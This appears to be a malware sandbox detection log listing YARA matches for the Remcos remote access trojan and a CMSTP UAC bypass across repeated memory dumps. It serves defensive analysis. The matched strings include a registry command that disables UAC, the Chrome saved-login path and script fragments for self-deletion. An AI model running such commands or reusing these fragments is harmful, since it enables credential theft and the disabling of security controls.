24.2.wkrriuhD.pif.5919e2.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
24.2.wkrriuhD.pif.5919e2.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.wkrriuhD.pif.5919e2.1.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
24.2.wkrriuhD.pif.5919e2.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
24.2.wkrriuhD.pif.5919e2.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
33.2.wkrriuhD.pif.5919e2.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
33.2.wkrriuhD.pif.5919e2.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.wkrriuhD.pif.5919e2.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.5919e2.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.5919e2.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
31.2.wkrriuhD.pif.590000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.590000.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.590000.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6b88a:$a1: Remcos restarted by watchdog! 0x6be02:$a3: %02i:%02i:%02i:%03i
31.2.wkrriuhD.pif.590000.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x658de:$str_a1: C:\Windows\System32\cmd.exe 0x6585a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6585a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65d5a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6658a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6594e:$str_b2: Executing file: 0x669ce:$str_b3: GetDirectListeningPort 0x6637a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x664fa:$str_b7: \update.vbs 0x65976:$str_b9: Downloaded file: 0x65962:$str_b10: Downloading file: 0x65a06:$str_b12: Failed to upload file: 0x66996:$str_b13: StartForward 0x669b6:$str_b14: StopForward 0x66452:$str_b15: fso.DeleteFile " 0x663e6:$str_b16: On Error Resume Next 0x66482:$str_b17: fso.DeleteFolder " 0x659f6:$str_b18: Uploaded file: 0x659b6:$str_b19: Unable to delete: 0x6641a:$str_b20: while fso.FileExists(" 0x65e93:$str_c0: [Firefox StoredLogins not found]
31.2.wkrriuhD.pif.590000.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x657ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6575e:$s1: CoGetObject 0x65772:$s1: CoGetObject 0x6578e:$s1: CoGetObject 0x6f71a:$s1: CoGetObject 0x6571e:$s2: Elevation:Administrator!new:
24.2.wkrriuhD.pif.5919e2.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
24.2.wkrriuhD.pif.5919e2.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.wkrriuhD.pif.5919e2.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
24.2.wkrriuhD.pif.5919e2.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
24.2.wkrriuhD.pif.5919e2.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
33.2.wkrriuhD.pif.590000.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
33.2.wkrriuhD.pif.590000.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.wkrriuhD.pif.590000.2.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c48a:$a1: Remcos restarted by watchdog! 0x6ca02:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.590000.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664de:$str_a1: C:\Windows\System32\cmd.exe 0x6645a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6645a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6695a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6718a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6654e:$str_b2: Executing file: 0x675ce:$str_b3: GetDirectListeningPort 0x66f7a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x670fa:$str_b7: \update.vbs 0x66576:$str_b9: Downloaded file: 0x66562:$str_b10: Downloading file: 0x66606:$str_b12: Failed to upload file: 0x67596:$str_b13: StartForward 0x675b6:$str_b14: StopForward 0x67052:$str_b15: fso.DeleteFile " 0x66fe6:$str_b16: On Error Resume Next 0x67082:$str_b17: fso.DeleteFolder " 0x665f6:$str_b18: Uploaded file: 0x665b6:$str_b19: Unable to delete: 0x6701a:$str_b20: while fso.FileExists(" 0x66a93:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.590000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6635e:$s1: CoGetObject 0x66372:$s1: CoGetObject 0x6638e:$s1: CoGetObject 0x7031a:$s1: CoGetObject 0x6631e:$s2: Elevation:Administrator!new:
31.2.wkrriuhD.pif.5919e2.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.5919e2.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.5919e2.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
31.2.wkrriuhD.pif.5919e2.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
31.2.wkrriuhD.pif.5919e2.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
33.2.wkrriuhD.pif.590000.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
33.2.wkrriuhD.pif.590000.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.wkrriuhD.pif.590000.2.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6b88a:$a1: Remcos restarted by watchdog! 0x6be02:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.590000.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x658de:$str_a1: C:\Windows\System32\cmd.exe 0x6585a:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x6585a:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x65d5a:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x6658a:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6594e:$str_b2: Executing file: 0x669ce:$str_b3: GetDirectListeningPort 0x6637a:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x664fa:$str_b7: \update.vbs 0x65976:$str_b9: Downloaded file: 0x65962:$str_b10: Downloading file: 0x65a06:$str_b12: Failed to upload file: 0x66996:$str_b13: StartForward 0x669b6:$str_b14: StopForward 0x66452:$str_b15: fso.DeleteFile " 0x663e6:$str_b16: On Error Resume Next 0x66482:$str_b17: fso.DeleteFolder " 0x659f6:$str_b18: Uploaded file: 0x659b6:$str_b19: Unable to delete: 0x6641a:$str_b20: while fso.FileExists(" 0x65e93:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.590000.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x657ca:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6575e:$s1: CoGetObject 0x65772:$s1: CoGetObject 0x6578e:$s1: CoGetObject 0x6f71a:$s1: CoGetObject 0x6571e:$s2: Elevation:Administrator!new:
33.2.wkrriuhD.pif.5919e2.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
33.2.wkrriuhD.pif.5919e2.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.wkrriuhD.pif.5919e2.1.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
33.2.wkrriuhD.pif.5919e2.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
33.2.wkrriuhD.pif.5919e2.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
31.2.wkrriuhD.pif.24140000.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.24140000.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.24140000.2.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
31.2.wkrriuhD.pif.24140000.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
31.2.wkrriuhD.pif.24140000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
24.2.wkrriuhD.pif.12330000.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
24.2.wkrriuhD.pif.12330000.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.wkrriuhD.pif.12330000.2.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
24.2.wkrriuhD.pif.12330000.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
24.2.wkrriuhD.pif.12330000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
24.2.wkrriuhD.pif.12330000.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
24.2.wkrriuhD.pif.12330000.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
24.2.wkrriuhD.pif.12330000.2.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
24.2.wkrriuhD.pif.12330000.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
24.2.wkrriuhD.pif.12330000.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
31.2.wkrriuhD.pif.24140000.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.24140000.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.24140000.2.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
31.2.wkrriuhD.pif.24140000.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
31.2.wkrriuhD.pif.24140000.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
31.2.wkrriuhD.pif.5919e2.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
31.2.wkrriuhD.pif.5919e2.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.wkrriuhD.pif.5919e2.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
31.2.wkrriuhD.pif.5919e2.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
